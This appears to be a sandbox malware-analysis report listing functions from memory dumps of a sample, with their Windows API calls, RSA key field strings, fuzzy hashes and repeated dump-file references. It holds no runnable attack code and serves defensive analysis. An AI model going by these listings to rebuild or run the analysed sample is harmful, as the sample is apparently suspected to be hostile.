Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: 1a349170bfb8760916a0a173e7fd98828ecd4b80e61e9d0427434b8a4318db0a
Instruction ID: b580adaa68d2009b7a6d4f2deb08d997b12fe146ad99dd3805847cde250568da
Opcode Fuzzy Hash: 1a349170bfb8760916a0a173e7fd98828ecd4b80e61e9d0427434b8a4318db0a
Instruction Fuzzy Hash: 93B13875600649AFDB14DF98CC84EBAB7F9BF8D300F158568E606AB791DA34F841CB60

Function 6D023F10 Relevance: 13.7, APIs: 9, Instructions: 201COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D023F7B
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D023F8D
VariantInit.OLEAUT32(?), ref: 6D023FB7
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D023FD0
VariantClear.OLEAUT32(?), ref: 6D0240C9
VariantClear.OLEAUT32(?), ref: 6D024105
SafeArrayDestroy.OLEAUT32(?), ref: 6D024123
VariantClear.OLEAUT32(?), ref: 6D024157
VariantClear.OLEAUT32(?), ref: 6D024168

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Bound$DestroyElementInit
String ID:
API String ID: 758290628-0
Opcode ID: 0cc43784147e7ca1cfd2a225f56c5176f3c2f581f5165addd22c4a137712ea52
Instruction ID: b0b585e6a2ec01feb6c0735423db9e11e1be9c63af03c6214a4d2a73ea2b1e7b
Opcode Fuzzy Hash: 0cc43784147e7ca1cfd2a225f56c5176f3c2f581f5165addd22c4a137712ea52
Instruction Fuzzy Hash: 3D718C76109342AFD700DF68C8C4A6BBBF9BBAD704F104A2CF69587250D730E945CB92

Function 6D00FC30 Relevance: 13.7, APIs: 9, Instructions: 154fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000000,?,?,00000000,4E8A916F), ref: 6D00FC98
CloseHandle.KERNEL32(FFFFFFFF,?,?,00000000,4E8A916F), ref: 6D00FCAD
CloseHandle.KERNEL32(?,?,?,00000000,4E8A916F), ref: 6D00FCB7
SetLastError.KERNEL32(00000000,?,?,00000000,4E8A916F), ref: 6D00FCBA
CreateFileW.KERNEL32(?,-00000001,00000001,00000000,00000003,00000000,00000000,?,?,00000000,4E8A916F), ref: 6D00FD01
GetFileSizeEx.KERNEL32(00000000,?,?,?,00000000,4E8A916F), ref: 6D00FD14
GetLastError.KERNEL32(?,?,00000000,4E8A916F), ref: 6D00FD2A
CreateFileMappingW.KERNEL32(?,00000000,?,00000000,00000000,00000000,?,?,00000000,4E8A916F), ref: 6D00FD6B
MapViewOfFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,?,00000000,4E8A916F), ref: 6D00FD98

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastView$MappingSizeUnmap
String ID:
API String ID: 1303881157-0
Opcode ID: 72f9d2d6979760d9147d07faea9e9b2a3030c298823d5673ebd38e9766c90ab3
Instruction ID: 9f66abb79388035f2dd333414d3845cdd5f181b464e8ca33ca18df4f2587ab74
Opcode Fuzzy Hash: 72f9d2d6979760d9147d07faea9e9b2a3030c298823d5673ebd38e9766c90ab3
Instruction Fuzzy Hash: B051F7B1A04302BBFB008F34C885B6A7BE9AB4D360F158669ED15CF2C5DB74D8019BE5

Function 6D0642B0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D0642DD

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

_memmove.LIBCMT ref: 6D064363
_memmove.LIBCMT ref: 6D064381
_memmove.LIBCMT ref: 6D0643E6
_memmove.LIBCMT ref: 6D064453
_memmove.LIBCMT ref: 6D064474

Strings

vector<T> too long, xrefs: 6D0642D8

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 4034224661-3788999226
Opcode ID: 6c58f694b7bd637bebf2daf8db2b6bb2cabed54eef197afe35d2b839ff7b28f7
Instruction ID: 46a439b637af146920cb9365e6e2936cae660dc3cc8b78f4e10884e574d3ec4d
Opcode Fuzzy Hash: 6c58f694b7bd637bebf2daf8db2b6bb2cabed54eef197afe35d2b839ff7b28f7
Instruction Fuzzy Hash: 5E51A3B17083069FD718CF68DC85A6BB7E9EBD8218F194A2DF946C3344E671E904C7A1

Function 6D034B60 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D034BC8
std::_Xinvalid_argument.LIBCPMT ref: 6D034BE0
std::_Xinvalid_argument.LIBCPMT ref: 6D034BFA
_memmove.LIBCMT ref: 6D034C64
_memmove.LIBCMT ref: 6D034C81

Strings

string too long, xrefs: 6D034BDB, 6D034BF5
invalid string position, xrefs: 6D034BC3

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: d95a4007f9308818ddaac26158d15891fdcb0bc1045900fc9ce55aa064a7e002
Instruction ID: 3fdb9b7c8b64e7530c59406b3289fc5efb78d548b5870596db40941b51f9ebf0
Opcode Fuzzy Hash: d95a4007f9308818ddaac26158d15891fdcb0bc1045900fc9ce55aa064a7e002
Instruction Fuzzy Hash: 0241D932314262ABF724CE1CE880F6EF7E9EB9D714B62091EE151CB691C762DC858761

Function 6D01FFEA Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Strings

RSDi, xrefs: 6D020075

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSDi
API String ID: 4225690600-559181253
Opcode ID: 2bd0391f5e21538758fc9921b54425b5cd5c035cce26f35e3cfb9162d1124d3c
Instruction ID: dc3e85e5980422e022235240abe6a177f6c90cf759abcf30b3b052dff5ed3ba0
Opcode Fuzzy Hash: 2bd0391f5e21538758fc9921b54425b5cd5c035cce26f35e3cfb9162d1124d3c
Instruction Fuzzy Hash: BF412974A016199FEB10DFA9C980F6EB7FAAF89300F60858AE509DB355DB31E941CF50

Function 6D020815 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Strings

RSUa, xrefs: 6D020864

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSUa
API String ID: 4225690600-2086061799
Opcode ID: 16a75d97aed0fef88708f5aa9457d792e8cb1a7564698deb7386da263a801229
Instruction ID: 513711f4efd1bf67bf66858d2ab9db96c704a97b9f2082a17efb753fa5397278
Opcode Fuzzy Hash: 16a75d97aed0fef88708f5aa9457d792e8cb1a7564698deb7386da263a801229
Instruction Fuzzy Hash: 70313B70E016199FEB10CFA9CD80B6EB7F9AF89300F608586E558EB251C771DA81CF50

Function 6D020787 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Strings

RSa, xrefs: 6D0207D6

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSa
API String ID: 4225690600-3169278968
Opcode ID: 98dc322c9365b7129cac3559b6f25e14a120a14eef896f4fb8c59f4ff174e993
Instruction ID: cf66bc53f6f57467b729023e6f62b7a09116631cda2c57f4a56b8492d56d1b52
Opcode Fuzzy Hash: 98dc322c9365b7129cac3559b6f25e14a120a14eef896f4fb8c59f4ff174e993
Instruction Fuzzy Hash: 62313C70E116199FDB10DFA9CD80B6EB7F9AF89300F608596E518EB251C771DA41CF50

Function 6D0206F9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Strings

RSqb, xrefs: 6D020748

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RSqb
API String ID: 4225690600-347567867
Opcode ID: dd0db5746f6a265b5dbedada8c8bc31ad62cee56b061d545268d9436674e231f
Instruction ID: 935c17568d74df049544229a5196efa9e1c6c81a672705ff1588b4f26ff6d1e2
Opcode Fuzzy Hash: dd0db5746f6a265b5dbedada8c8bc31ad62cee56b061d545268d9436674e231f
Instruction Fuzzy Hash: 32315C70E016099FDB10CFA9CD80B6EB7F9AF89300F608586E518EB251DB75DA81CF50

Function 6D02012D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Strings

RS:h, xrefs: 6D02017F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RS:h
API String ID: 4225690600-3891202347
Opcode ID: fa8eb19020fa8fa827918e6b3c57201c7ac2651f0ad79109da24107518f1c9b9
Instruction ID: 463a3f82bfcd7022eb0b9f6cbb898139b70206aa330628d405fe04918fe3abf1
Opcode Fuzzy Hash: fa8eb19020fa8fa827918e6b3c57201c7ac2651f0ad79109da24107518f1c9b9
Instruction Fuzzy Hash: BD314B70E016099FEB10CFA9CC80B6EB7FAAF89200F208596E558EB255C771DA81CF50

Function 6D020237 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Strings

RS3g, xrefs: 6D020286

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RS3g
API String ID: 4225690600-2794631155
Opcode ID: baaf95ec3722bc6aa900360c7d1a69234a4b33ea703c6278f3474275c04034ff
Instruction ID: cec9403ee5b197a6e8b6809e88075afc68a1a0013a2ffee4dde45e5c9c732043
Opcode Fuzzy Hash: baaf95ec3722bc6aa900360c7d1a69234a4b33ea703c6278f3474275c04034ff
Instruction Fuzzy Hash: CE315C70E056099FDB10CFA9CD80B6EB7F9AF89200F608696E558EB251CB71DA41CF50

Function 6D05C760 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 95COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6D05C7EB

Strings

PrivateExponent, xrefs: 6D05C85F
MultiplicativeInverseOfPrime2ModPrime1, xrefs: 6D05C815
ModPrime2PrivateExponent, xrefs: 6D05C82C
Prime1, xrefs: 6D05C88A
Prime2, xrefs: 6D05C876
ModPrime1PrivateExponent, xrefs: 6D05C840

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: type_info::operator!=
String ID: ModPrime1PrivateExponent$ModPrime2PrivateExponent$MultiplicativeInverseOfPrime2ModPrime1$Prime1$Prime2$PrivateExponent
API String ID: 2241493438-339133643
Opcode ID: f77391c9f5ccabf3dd1551f58dcc3e58ca447da3de187f2887f3bc026a08105e
Instruction ID: 8493e9e274cf0d995675bc5264b761ab06783e9261ebf9e375f2a302a8d7d207
Opcode Fuzzy Hash: f77391c9f5ccabf3dd1551f58dcc3e58ca447da3de187f2887f3bc026a08105e
Instruction Fuzzy Hash: 4E31A1B0A183459ED7009F7CCA4575ABBF1AFC5204F014A6EF9489B361EB70D858CB83

Function 6D020457 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Strings

RS%e, xrefs: 6D020494

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RS%e
API String ID: 4225690600-1409579784
Opcode ID: 734beccb21f6766787dc7cae065449a62f4d4faac041286b03942d688f7b655a
Instruction ID: 115e782ce2a0ded9f889c317c7cc4d5a58907b9199219c00eaee8a5f204814db
Opcode Fuzzy Hash: 734beccb21f6766787dc7cae065449a62f4d4faac041286b03942d688f7b655a
Instruction Fuzzy Hash: 39314B70E016189FEB10CFA9CC80BADB7FAAF89300F60859AE558EB251C771DA408F50

Function 6D01AA00 Relevance: 12.3, APIs: 8, Instructions: 309COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D01AA54
VariantInit.OLEAUT32(?), ref: 6D01AA5B
VariantInit.OLEAUT32(?), ref: 6D01AA62
VariantInit.OLEAUT32(?), ref: 6D01AA69
VariantClear.OLEAUT32(?), ref: 6D01ACF2
VariantClear.OLEAUT32(?), ref: 6D01ACF9
VariantClear.OLEAUT32(?), ref: 6D01AD00
